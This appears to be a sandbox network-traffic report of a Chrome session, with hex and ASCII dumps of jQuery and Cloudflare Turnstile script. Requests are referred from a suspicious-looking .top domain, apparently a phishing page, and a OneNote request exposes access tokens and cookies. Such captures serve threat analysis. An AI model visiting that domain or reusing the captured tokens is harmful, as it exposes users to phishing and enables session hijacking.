2024-10-25 08:19:15 UTC	16384	IN	Data Raw: 53 2e 65 78 74 65 6e 64 28 7b 61 74 74 72 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 76 61 72 20 72 2c 69 2c 6f 3d 65 2e 6e 6f 64 65 54 79 70 65 3b 69 66 28 33 21 3d 3d 6f 26 26 38 21 3d 3d 6f 26 26 32 21 3d 3d 6f 29 72 65 74 75 72 6e 22 75 6e 64 65 66 69 6e 65 64 22 3d 3d 74 79 70 65 6f 66 20 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 3f 53 2e 70 72 6f 70 28 65 2c 74 2c 6e 29 3a 28 31 3d 3d 3d 6f 26 26 53 2e 69 73 58 4d 4c 44 6f 63 28 65 29 7c 7c 28 69 3d 53 2e 61 74 74 72 48 6f 6f 6b 73 5b 74 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 5d 7c 7c 28 53 2e 65 78 70 72 2e 6d 61 74 63 68 2e 62 6f 6f 6c 2e 74 65 73 74 28 74 29 3f 63 74 3a 76 6f 69 64 20 30 29 29 2c 76 6f 69 64 20 30 21 3d 3d 6e 3f 6e 75 6c 6c 3d 3d 3d 6e 3f 76 6f 69 64 20 53 2e 72 65 6d Data Ascii: S.extend({attr:function(e,t,n){var r,i,o=e.nodeType;if(3!==o&&8!==o&&2!==o)return"undefined"==typeof e.getAttribute?S.prop(e,t,n):(1===o&&S.isXMLDoc(e)\|\|(i=S.attrHooks[t.toLowerCase()]\|\|(S.expr.match.bool.test(t)?ct:void 0)),void 0!==n?null===n?void S.rem
2024-10-25 08:19:15 UTC	7581	IN	Data Raw: 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 2c 72 3d 69 2e 78 68 72 28 29 3b 69 66 28 72 2e 6f 70 65 6e 28 69 2e 74 79 70 65 2c 69 2e 75 72 6c 2c 69 2e 61 73 79 6e 63 2c 69 2e 75 73 65 72 6e 61 6d 65 2c 69 2e 70 61 73 73 77 6f 72 64 29 2c 69 2e 78 68 72 46 69 65 6c 64 73 29 66 6f 72 28 6e 20 69 6e 20 69 2e 78 68 72 46 69 65 6c 64 73 29 72 5b 6e 5d 3d 69 2e 78 68 72 46 69 65 6c 64 73 5b 6e 5d 3b 66 6f 72 28 6e 20 69 6e 20 69 2e 6d 69 6d 65 54 79 70 65 26 26 72 2e 6f 76 65 72 72 69 64 65 4d 69 6d 65 54 79 70 65 26 26 72 2e 6f 76 65 72 72 69 64 65 4d 69 6d 65 54 79 70 65 28 69 2e 6d 69 6d 65 54 79 70 65 29 2c 69 2e 63 72 6f 73 73 44 6f 6d 61 69 6e 7c 7c 65 5b 22 58 2d 52 65 71 75 65 73 74 65 64 2d 57 69 74 68 22 5d 7c 7c 28 65 5b 22 58 2d 52 Data Ascii: :function(e,t){var n,r=i.xhr();if(r.open(i.type,i.url,i.async,i.username,i.password),i.xhrFields)for(n in i.xhrFields)r[n]=i.xhrFields[n];for(n in i.mimeType&&r.overrideMimeType&&r.overrideMimeType(i.mimeType),i.crossDomain\|\|e["X-Requested-With"]\|\|(e["X-R

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.6	49941	104.18.95.41	443	5956	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-25 08:19:14 UTC	621	OUT	GET /turnstile/v0/api.js?render=explicit HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://ffksdtexbdsdtexbdsdtexbsdtexbdsdtexbdsdtexb.thedagrouppseervicesdfrtycbgt.top/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-25 08:19:15 UTC	386	IN	HTTP/1.1 302 Found Date: Fri, 25 Oct 2024 08:19:14 GMT Content-Length: 0 Connection: close access-control-allow-origin: * cache-control: max-age=300, stale-if-error=10800, stale-while-revalidate=300, public cross-origin-resource-policy: cross-origin location: /turnstile/v0/b/e1a56f38220d/api.js Server: cloudflare CF-RAY: 8d80c7d28d876b2b-DFW alt-svc: h3=":443"; ma=86400

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.6	49942	104.18.95.41	443	5956	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-25 08:19:15 UTC	620	OUT	GET /turnstile/v0/b/e1a56f38220d/api.js HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://ffksdtexbdsdtexbdsdtexbsdtexbdsdtexbdsdtexb.thedagrouppseervicesdfrtycbgt.top/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-25 08:19:15 UTC	471	IN	HTTP/1.1 200 OK Date: Fri, 25 Oct 2024 08:19:15 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 47672 Connection: close accept-ranges: bytes last-modified: Wed, 23 Oct 2024 21:21:17 GMT cache-control: max-age=31536000, stale-if-error=10800, stale-while-revalidate=31536000, public access-control-allow-origin: * cross-origin-resource-policy: cross-origin Server: cloudflare CF-RAY: 8d80c7d78ac02e25-DFW alt-svc: h3=":443"; ma=86400
2024-10-25 08:19:15 UTC	898	IN	Data Raw: 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 48 74 28 65 2c 72 2c 6e 2c 6f 2c 63 2c 6c 2c 67 29 7b 74 72 79 7b 76 61 72 20 68 3d 65 5b 6c 5d 28 67 29 2c 75 3d 68 2e 76 61 6c 75 65 7d 63 61 74 63 68 28 66 29 7b 6e 28 66 29 3b 72 65 74 75 72 6e 7d 68 2e 64 6f 6e 65 3f 72 28 75 29 3a 50 72 6f 6d 69 73 65 2e 72 65 73 6f 6c 76 65 28 75 29 2e 74 68 65 6e 28 6f 2c 63 29 7d 66 75 6e 63 74 69 6f 6e 20 42 74 28 65 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 72 3d 74 68 69 73 2c 6e 3d 61 72 67 75 6d 65 6e 74 73 3b 72 65 74 75 72 6e 20 6e 65 77 20 50 72 6f 6d 69 73 65 28 66 75 6e 63 74 69 6f 6e 28 6f 2c 63 29 7b 76 61 72 20 6c 3d 65 2e 61 70 70 6c 79 28 72 2c 6e 29 3b 66 75 6e 63 74 Data Ascii: "use strict";(function(){function Ht(e,r,n,o,c,l,g){try{var h=e[l](g),u=h.value}catch(f){n(f);return}h.done?r(u):Promise.resolve(u).then(o,c)}function Bt(e){return function(){var r=this,n=arguments;return new Promise(function(o,c){var l=e.apply(r,n);funct
2024-10-25 08:19:15 UTC	1369	IN	Data Raw: 20 65 7d 66 75 6e 63 74 69 6f 6e 20 53 72 28 65 2c 72 29 7b 76 61 72 20 6e 3d 4f 62 6a 65 63 74 2e 6b 65 79 73 28 65 29 3b 69 66 28 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 53 79 6d 62 6f 6c 73 29 7b 76 61 72 20 6f 3d 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 53 79 6d 62 6f 6c 73 28 65 29 3b 72 26 26 28 6f 3d 6f 2e 66 69 6c 74 65 72 28 66 75 6e 63 74 69 6f 6e 28 63 29 7b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 44 65 73 63 72 69 70 74 6f 72 28 65 2c 63 29 2e 65 6e 75 6d 65 72 61 62 6c 65 7d 29 29 2c 6e 2e 70 75 73 68 2e 61 70 70 6c 79 28 6e 2c 6f 29 7d 72 65 74 75 72 6e 20 6e 7d 66 75 6e 63 74 69 6f 6e 20 6e 74 28 65 2c 72 29 7b 72 65 74 75 72 6e 20 72 3d 72 21 3d 6e 75 Data Ascii: e}function Sr(e,r){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertySymbols(e);r&&(o=o.filter(function(c){return Object.getOwnPropertyDescriptor(e,c).enumerable})),n.push.apply(n,o)}return n}function nt(e,r){return r=r!=nu
2024-10-25 08:19:15 UTC	1369	IN	Data Raw: 72 61 79 24 2f 2e 74 65 73 74 28 6e 29 29 72 65 74 75 72 6e 20 61 74 28 65 2c 72 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 41 65 28 65 2c 72 29 7b 72 65 74 75 72 6e 20 6a 74 28 65 29 7c 7c 71 74 28 65 2c 72 29 7c 7c 47 74 28 65 2c 72 29 7c 7c 7a 74 28 29 7d 66 75 6e 63 74 69 6f 6e 20 44 28 65 29 7b 22 40 73 77 63 2f 68 65 6c 70 65 72 73 20 2d 20 74 79 70 65 6f 66 22 3b 72 65 74 75 72 6e 20 65 26 26 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 21 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 65 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3d 3d 3d 53 79 6d 62 6f 6c 3f 22 73 79 6d 62 6f 6c 22 3a 74 79 70 65 6f 66 20 65 7d 66 75 6e 63 74 69 6f 6e 20 55 65 28 65 2c 72 29 7b 76 61 72 20 6e 3d 7b 6c 61 62 65 6c 3a 30 2c 73 65 6e 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 6c 5b 30 Data Ascii: ray$/.test(n))return at(e,r)}}function Ae(e,r){return jt(e)\|\|qt(e,r)\|\|Gt(e,r)\|\|zt()}function D(e){"@swc/helpers - typeof";return e&&typeof Symbol!="undefined"&&e.constructor===Symbol?"symbol":typeof e}function Ue(e,r){var n={label:0,sent:function(){if(l[0
2024-10-25 08:19:15 UTC	1369	IN	Data Raw: 74 69 6f 6e 3a 22 54 75 72 6e 73 74 69 6c 65 27 73 20 61 70 69 2e 6a 73 20 77 61 73 20 6c 6f 61 64 65 64 2c 20 62 75 74 20 74 68 65 20 69 66 72 61 6d 65 20 75 6e 64 65 72 20 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 6c 6f 61 64 65 64 2e 20 48 61 73 20 74 68 65 20 76 69 73 69 74 6f 72 20 62 6c 6f 63 6b 65 64 20 73 6f 6d 65 20 70 61 72 74 73 20 6f 66 20 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 20 6f 72 20 61 72 65 20 74 68 65 79 20 73 65 6c 66 2d 68 6f 73 74 69 6e 67 20 61 70 69 2e 6a 73 3f 22 7d 3b 76 61 72 20 59 74 3d 33 30 30 30 32 30 3b 76 61 72 20 44 65 3d 33 30 30 30 33 30 3b 76 61 72 20 56 65 3d 33 30 30 30 33 31 3b 76 61 72 20 71 3b 28 66 75 Data Ascii: tion:"Turnstile's api.js was loaded, but the iframe under challenges.cloudflare.com could not be loaded. Has the visitor blocked some parts of challenges.cloudflare.com or are they self-hosting api.js?"};var Yt=300020;var De=300030;var Ve=300031;var q;(fu
2024-10-25 08:19:15 UTC	1369	IN	Data Raw: 2e 4e 45 56 45 52 3d 22 6e 65 76 65 72 22 2c 65 2e 4d 41 4e 55 41 4c 3d 22 6d 61 6e 75 61 6c 22 2c 65 2e 41 55 54 4f 3d 22 61 75 74 6f 22 7d 29 28 24 7c 7c 28 24 3d 7b 7d 29 29 3b 76 61 72 20 69 65 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 4e 45 56 45 52 3d 22 6e 65 76 65 72 22 2c 65 2e 4d 41 4e 55 41 4c 3d 22 6d 61 6e 75 61 6c 22 2c 65 2e 41 55 54 4f 3d 22 61 75 74 6f 22 7d 29 28 69 65 7c 7c 28 69 65 3d 7b 7d 29 29 3b 76 61 72 20 58 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 41 4c 57 41 59 53 3d 22 61 6c 77 61 79 73 22 2c 65 2e 45 58 45 43 55 54 45 3d 22 65 78 65 63 75 74 65 22 2c 65 2e 49 4e 54 45 52 41 43 54 49 4f 4e 5f 4f 4e 4c 59 3d 22 69 6e 74 65 72 61 63 74 69 6f 6e 2d 6f 6e 6c 79 22 7d 29 28 58 7c 7c 28 58 3d 7b 7d 29 29 3b 76 61 72 20 Data Ascii: .NEVER="never",e.MANUAL="manual",e.AUTO="auto"})($\|\|($={}));var ie;(function(e){e.NEVER="never",e.MANUAL="manual",e.AUTO="auto"})(ie\|\|(ie={}));var X;(function(e){e.ALWAYS="always",e.EXECUTE="execute",e.INTERACTION_ONLY="interaction-only"})(X\|\|(X={}));var
2024-10-25 08:19:15 UTC	1369	IN	Data Raw: 7d 66 75 6e 63 74 69 6f 6e 20 67 74 28 65 29 7b 72 65 74 75 72 6e 20 4d 28 5b 22 61 6c 77 61 79 73 22 2c 22 65 78 65 63 75 74 65 22 2c 22 69 6e 74 65 72 61 63 74 69 6f 6e 2d 6f 6e 6c 79 22 5d 2c 65 29 7d 66 75 6e 63 74 69 6f 6e 20 51 74 28 65 29 7b 72 65 74 75 72 6e 20 4d 28 5b 22 74 72 75 65 22 2c 22 66 61 6c 73 65 22 5d 2c 65 29 7d 66 75 6e 63 74 69 6f 6e 20 79 74 28 65 29 7b 72 65 74 75 72 6e 20 4d 28 5b 22 72 65 6e 64 65 72 22 2c 22 65 78 65 63 75 74 65 22 5d 2c 65 29 7d 76 61 72 20 24 74 3d 33 30 30 2c 4a 74 3d 31 30 3b 66 75 6e 63 74 69 6f 6e 20 68 74 28 65 29 7b 76 61 72 20 72 3d 6e 65 77 20 55 52 4c 53 65 61 72 63 68 50 61 72 61 6d 73 3b 69 66 28 65 2e 70 61 72 61 6d 73 2e 5f 64 65 62 75 67 53 69 74 65 6b 65 79 4f 76 65 72 72 69 64 65 73 26 26 28 Data Ascii: }function gt(e){return M(["always","execute","interaction-only"],e)}function Qt(e){return M(["true","false"],e)}function yt(e){return M(["render","execute"],e)}var $t=300,Jt=10;function ht(e){var r=new URLSearchParams;if(e.params._debugSitekeyOverrides&&(
2024-10-25 08:19:15 UTC	1369	IN	Data Raw: 29 2e 63 6f 6e 63 61 74 28 65 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 72 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 6e 2e 74 68 65 6d 65 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 45 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 6e 2e 73 69 7a 65 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 6e 2e 6c 61 6e 67 75 61 67 65 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 66 29 7d 76 61 72 20 52 74 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 72 2c 6e 2c 6f 3d 77 69 6e 64 6f 77 2e 69 6e 6e 65 72 57 69 64 74 68 3c 34 30 30 2c 63 3d 65 2e 73 74 61 74 65 3d 3d 3d 53 65 2e 46 41 49 4c 55 52 45 5f 46 45 45 44 42 41 43 4b 7c 7c 65 2e 73 74 61 74 65 3d 3d 3d 53 65 2e 46 41 49 4c 55 52 45 5f 48 41 56 49 4e 47 5f 54 52 4f 55 42 4c 45 53 2c 6c 2c 67 3d 4d 28 6b 72 2c 28 6c 3d 28 72 3d 65 2e 64 Data Ascii: ).concat(e,"/").concat(r,"/").concat(n.theme,"/").concat(E,"/").concat(n.size,"/").concat(n.language,"/").concat(f)}var Rt=function(e){var r,n,o=window.innerWidth<400,c=e.state===Se.FAILURE_FEEDBACK\|\|e.state===Se.FAILURE_HAVING_TROUBLES,l,g=M(kr,(l=(r=e.d
2024-10-25 08:19:15 UTC	1369	IN	Data Raw: 73 68 61 6d 29 72 65 74 75 72 6e 21 31 3b 69 66 28 74 79 70 65 6f 66 20 50 72 6f 78 79 3d 3d 22 66 75 6e 63 74 69 6f 6e 22 29 72 65 74 75 72 6e 21 30 3b 74 72 79 7b 72 65 74 75 72 6e 20 42 6f 6f 6c 65 61 6e 2e 70 72 6f 74 6f 74 79 70 65 2e 76 61 6c 75 65 4f 66 2e 63 61 6c 6c 28 52 65 66 6c 65 63 74 2e 63 6f 6e 73 74 72 75 63 74 28 42 6f 6f 6c 65 61 6e 2c 5b 5d 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 7d 29 29 2c 21 30 7d 63 61 74 63 68 28 65 29 7b 72 65 74 75 72 6e 21 31 7d 7d 66 75 6e 63 74 69 6f 6e 20 49 65 28 65 2c 72 2c 6e 29 7b 72 65 74 75 72 6e 20 6a 65 28 29 3f 49 65 3d 52 65 66 6c 65 63 74 2e 63 6f 6e 73 74 72 75 63 74 3a 49 65 3d 66 75 6e 63 74 69 6f 6e 28 63 2c 6c 2c 67 29 7b 76 61 72 20 68 3d 5b 6e 75 6c 6c 5d 3b 68 2e 70 75 73 68 2e 61 70 70 6c 79 Data Ascii: sham)return!1;if(typeof Proxy=="function")return!0;try{return Boolean.prototype.valueOf.call(Reflect.construct(Boolean,[],function(){})),!0}catch(e){return!1}}function Ie(e,r,n){return je()?Ie=Reflect.construct:Ie=function(c,l,g){var h=[null];h.push.apply
2024-10-25 08:19:15 UTC	1369	IN	Data Raw: 63 61 6c 6c 28 74 68 69 73 2c 6f 29 2c 4d 65 28 42 65 28 6c 29 2c 22 63 6f 64 65 22 2c 76 6f 69 64 20 30 29 2c 6c 2e 6e 61 6d 65 3d 22 54 75 72 6e 73 74 69 6c 65 45 72 72 6f 72 22 2c 6c 2e 63 6f 64 65 3d 63 2c 6c 7d 72 65 74 75 72 6e 20 6e 7d 28 71 65 28 45 72 72 6f 72 29 29 3b 66 75 6e 63 74 69 6f 6e 20 6d 28 65 2c 72 29 7b 76 61 72 20 6e 3d 22 5b 43 6c 6f 75 64 66 6c 61 72 65 20 54 75 72 6e 73 74 69 6c 65 5d 20 22 2e 63 6f 6e 63 61 74 28 65 2c 22 2e 22 29 3b 74 68 72 6f 77 20 6e 65 77 20 64 72 28 6e 2c 72 29 7d 66 75 6e 63 74 69 6f 6e 20 62 28 65 29 7b 63 6f 6e 73 6f 6c 65 2e 77 61 72 6e 28 22 5b 43 6c 6f 75 64 66 6c 61 72 65 20 54 75 72 6e 73 74 69 6c 65 5d 20 22 2e 63 6f 6e 63 61 74 28 65 29 29 7d 66 75 6e 63 74 69 6f 6e 20 7a 65 28 65 29 7b 72 65 74 Data Ascii: call(this,o),Me(Be(l),"code",void 0),l.name="TurnstileError",l.code=c,l}return n}(qe(Error));function m(e,r){var n="[Cloudflare Turnstile] ".concat(e,".");throw new dr(n,r)}function b(e){console.warn("[Cloudflare Turnstile] ".concat(e))}function ze(e){ret
2024-10-25 08:19:15 UTC	1369	IN	Data Raw: 64 69 76 22 29 3b 75 2e 73 74 79 6c 65 2e 70 6f 73 69 74 69 6f 6e 3d 22 66 69 78 65 64 22 2c 75 2e 73 74 79 6c 65 2e 7a 49 6e 64 65 78 3d 22 32 31 34 37 34 38 33 36 34 36 22 2c 75 2e 73 74 79 6c 65 2e 77 69 64 74 68 3d 22 31 30 30 76 77 22 2c 75 2e 73 74 79 6c 65 2e 68 65 69 67 68 74 3d 22 31 30 30 76 68 22 2c 75 2e 73 74 79 6c 65 2e 74 6f 70 3d 22 30 22 2c 75 2e 73 74 79 6c 65 2e 6c 65 66 74 3d 22 30 22 2c 75 2e 73 74 79 6c 65 2e 74 72 61 6e 73 66 6f 72 6d 4f 72 69 67 69 6e 3d 22 63 65 6e 74 65 72 20 63 65 6e 74 65 72 22 2c 75 2e 73 74 79 6c 65 2e 6f 76 65 72 66 6c 6f 77 58 3d 22 68 69 64 64 65 6e 22 2c 75 2e 73 74 79 6c 65 2e 6f 76 65 72 66 6c 6f 77 59 3d 22 61 75 74 6f 22 2c 75 2e 73 74 79 6c 65 2e 62 61 63 6b 67 72 6f 75 6e 64 3d 22 72 67 62 61 28 30 Data Ascii: div");u.style.position="fixed",u.style.zIndex="2147483646",u.style.width="100vw",u.style.height="100vh",u.style.top="0",u.style.left="0",u.style.transformOrigin="center center",u.style.overflowX="hidden",u.style.overflowY="auto",u.style.background="rgba(0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.6	49952	104.18.95.41	443	5956	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-25 08:19:17 UTC	860	OUT	GET /cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/zpfpa/0x4AAAAAAAyWJLKajdsL6TRH/auto/fbE/normal/auto/ HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://ffksdtexbdsdtexbdsdtexbsdtexbdsdtexbdsdtexb.thedagrouppseervicesdfrtycbgt.top/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-25 08:19:18 UTC	1369	IN	HTTP/1.1 400 Bad Request Date: Fri, 25 Oct 2024 08:19:17 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 684 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 permissions-policy: accelerometer=(),autoplay=(),browsing-topics=(),camera=(),clipboard-read=(),clipboard-write=(),geolocation=(),gyroscope=(),hid=(),interest-cohort=(),magnetometer=(),microphone=(),payment=(),publickey-credentials-get=(),screen-wake-lock=(),serial=(),sync-xhr=(),usb=() content-security-policy: frame-src https://challenges.cloudflare.com/; base-uri 'self' cross-origin-embedder-policy: require-corp cross-origin-opener-policy: same-origin cross-origin-resource-policy: cross-origin origin-agent-cluster: ?1 accept-ch: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UA critical-ch: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UA referrer-policy: same-origin document-policy: js-profiling
2024-10-25 08:19:18 UTC	157	IN	Data Raw: 63 66 2d 63 68 6c 2d 6f 75 74 3a 20 54 59 6f 4d 63 51 4a 2b 6e 4d 7a 75 6d 73 2f 52 4d 78 30 6c 30 31 69 6d 4d 48 69 34 47 44 35 72 2b 70 76 6b 69 34 39 75 77 45 35 73 24 6c 37 2f 4f 2f 35 4b 57 62 34 75 75 32 76 43 4d 0d 0a 53 65 72 76 65 72 3a 20 63 6c 6f 75 64 66 6c 61 72 65 0d 0a 43 46 2d 52 41 59 3a 20 38 64 38 30 63 37 65 35 35 65 36 65 34 37 37 35 2d 44 46 57 0d 0a 61 6c 74 2d 73 76 63 3a 20 68 33 3d 22 3a 34 34 33 22 3b 20 6d 61 3d 38 36 34 30 30 0d 0a 0d 0a Data Ascii: cf-chl-out: TYoMcQJ+nMzums/RMx0l01imMHi4GD5r+pvki49uwE5s$l7/O/5KWb4uu2vCMServer: cloudflareCF-RAY: 8d80c7e55e6e4775-DFWalt-svc: h3=":443"; ma=86400
2024-10-25 08:19:18 UTC	684	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 22 3e 0a 3c Data Ascii: <!DOCTYPE HTML><html lang="en-US"><head> <meta http-equiv="X-UA-Compatible" content="IE=Edge,chrome=1"> <meta name="robots" content="noindex, nofollow"> <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1"><

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.6	49948	52.108.9.12	443	5956	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-25 08:19:17 UTC	2261	OUT	GET /o/AddinServiceHandler.ashx?action=laststoreupdate&app=4&lc=EN-US&WOPIsrc=https%3A%2F%2Fwopi%2Eonedrive%2Ecom%2Fwopi%2Ffolders%2FA2C259BD24DEB977%211517&access_token=4wjPhHBH0nlrBlym7f9uthso4F76PCTqyS4r1pC4F1k2k4GF3Khv6wB6Vc2ffRC0MzJIk3jHvdlqjmLIFmNLJXioIwgEvef6Q4qerGUxvsuiZZWpcOIoZaVJKXqZbF6u0A4aB9QLt3B58m7U4CtXAmCw&access_token_ttl=1730017122364 HTTP/1.1 Host: onenote.officeapps.live.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" haep: 3 X-WacFrontEnd: SN3PEPF00017C99 X-UserSessionId: d792bec9-feb6-4b93-b8c3-d25b567b0fc4 sec-ch-ua-mobile: ?0 X-OfficeVersion: 16.0.18214.41004 X-Key: JET8TXCUqtsIdxzH7JR+8AxZAV8tHKhwZjWok0HNi3U=;WP9oBPW/wQjBzAXFqEEnFB3ZDLJg8dixW8eGJaFRJyU=,638654411289687050 X-WacUserAgent: MSWACONSync User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 X-Requested-With: XMLHttpRequest X-UserType: WOPI X-xhr: 1 X-IsCoauthSession: true X-WacCluster: PUS11 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://onenote.officeapps.live.com/o/onenoteframe.aspx?edit=0&ui=en-US&rs=en-US&hid=iOKNGkkbsUOppGAVudDD%2FQ.0.13.0&wopisrc=https%3A%2F%2Fwopi.onedrive.com%2Fwopi%2Ffolders%2FA2C259BD24DEB977!1517&wd=target%28Quick%20Notes.one%7C8266a05f-045a-4cc0-bddc-4debc90069bb%2FNotera%20H6TYD9J4rDFDFECZC-HUYW%7Ca949d04d-b4e2-4509-b99f-d04546199b7b%2F%29&wdorigin=NavigationUrl&wdo=2&sc=host%3D%26qt%3DDefault&wdp=7&uih=onedrivecom&dchat=1&mscc=1&wdhostclicktime=1729844316523&jsapi=1&jsapiver=v1&newsession=1&corrid=d792bec9-feb6-4b93-b8c3-d25b567b0fc4&usid=d792bec9-feb6-4b93-b8c3-d25b567b0fc4&sftc=1&sams=1&cac=1&mtf=1&sfp=1&hch=1&hwfh=1&uihit=editaspx&muv=1&wdredirectionreason=Force_SingleStepBoot Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: xid=d8a72812-8574-4087-b953-5899e368a601&&ODSP-ODWEB-ODCF&345; E=P:Jiauos303Ig=:LuVpPK++Xqsv74IVHxbXnQE1KLbazIMsA91EvApP2Vc=:F; xidseq=2; wla42=; BIGipCookie=000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000; ShCLSessionID=1729844349229_0.9147422252239774
